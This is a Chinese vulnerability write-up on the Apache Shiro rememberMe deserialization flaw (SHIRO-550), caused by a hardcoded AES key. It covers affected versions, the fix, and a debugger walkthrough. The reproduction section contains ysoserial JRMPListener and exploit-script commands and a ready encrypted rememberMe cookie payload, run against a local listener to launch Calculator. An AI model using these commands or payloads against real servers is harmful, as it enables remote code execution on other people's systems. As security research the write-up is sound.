shiro记住密码反序列化
影响版本
shiro-core <=1.2.4
任何泄露rememberMe
的AES加密密钥的版本,均存在
原理
https://issues.apache.org/jira/browse/SHIRO-550
shiro对RememberMe类型传递的cookie序列化数据未做过滤,导致了反序列化漏洞的产生。在此过程中,由于shiro-core <=1.2.4 AES的加解密秘钥存在硬编码问题,导致直接生成Cookie被利用。
修复
针对这个问题shiro解决了自带的硬编码的问题,当然如果用户还是用硬编码的方式,一旦key泄漏,一样是会造成反序列化的问题。
官方针对这个问题的修复方式:
1、删除相关默认密钥
2、如果没有配置密钥,会随机生成一个密钥。
嗯,shiro只是把秘钥做了更改修复,可以找找其他的反序列化漏洞利用链。
复现
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 6666 CommonsCollections4 'open -a Calculator'
python apace_shair_exp.py 127.0.0.1:6666
1 | rememberMe=Qtgl1hCEQaeb0oAFldigjIaZRY4iH6ymA7FOr5IriiSxduu3pY/HeYVUOHYIIn2yP3xXmbStQ3BDl+qbzMRN2gpvNrDE3OJYPOCZFgXQuGDCWUZYbxFVUksYa9zWi6allXelkpEEjgFzJtCcRKSp+boR99Uzqpb+qpF6X98w74YsnqMuUX0om9/mOp5cNuAoKwLAD44luMpgG3QI+iWJrStDSiz4PznZKy1OFTpOiWrf4YCip/y7FKnT84DGmEVxFyiUyxEQ08ZoKksVM/Qf+Rr7DQYZU5MxoMt3QKzIhTTgSVMRzcKWNqWqiWOQj9B1tLXRgMj9svITbYuPJJNHPZ65zjlGsp254TdiVjuW8BQrfzyoo8KIIU6KLsLZFt/wvYAC+qBCYhlNdr4/MXHVkQ== |
分析
分别对shiro登录成功后的subject设置RememberMe cookie及从cookie获取当前subject的过程进行分析
- shiro-login
断点:org.apache.shiro.mgt.AbstractRememberMeManager
public void onSuccessfulLogin(Subject subject, AuthenticationToken token, AuthenticationInfo info)
对该用户名做序列化转为字符数组,然后进行加密
使用AES对其进行加密
通过this.getEncryptionCipherKey()
获取加密key,该key在AbstractRememberMeManager类实例化时自动设置
- shiro-poc
断点:org.apache.shiro.mgt.AbstractRememberMeManager
public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext)
byte[] bytes = this.getRememberedSerializedIdentity(subjectContext);
principals = this.convertBytesToPrincipals(bytes, subjectContext);
将bytes转为对象
进入decrypt对其进行解密,返回序列化数据,解密秘钥和加密秘钥一样也就是默认秘钥
获取远程服务器上的payload执行,这里读取我本地服务器监听的payload
问题
在第二次重复使用cookie进行发包,返回报错,留待下回继续分析。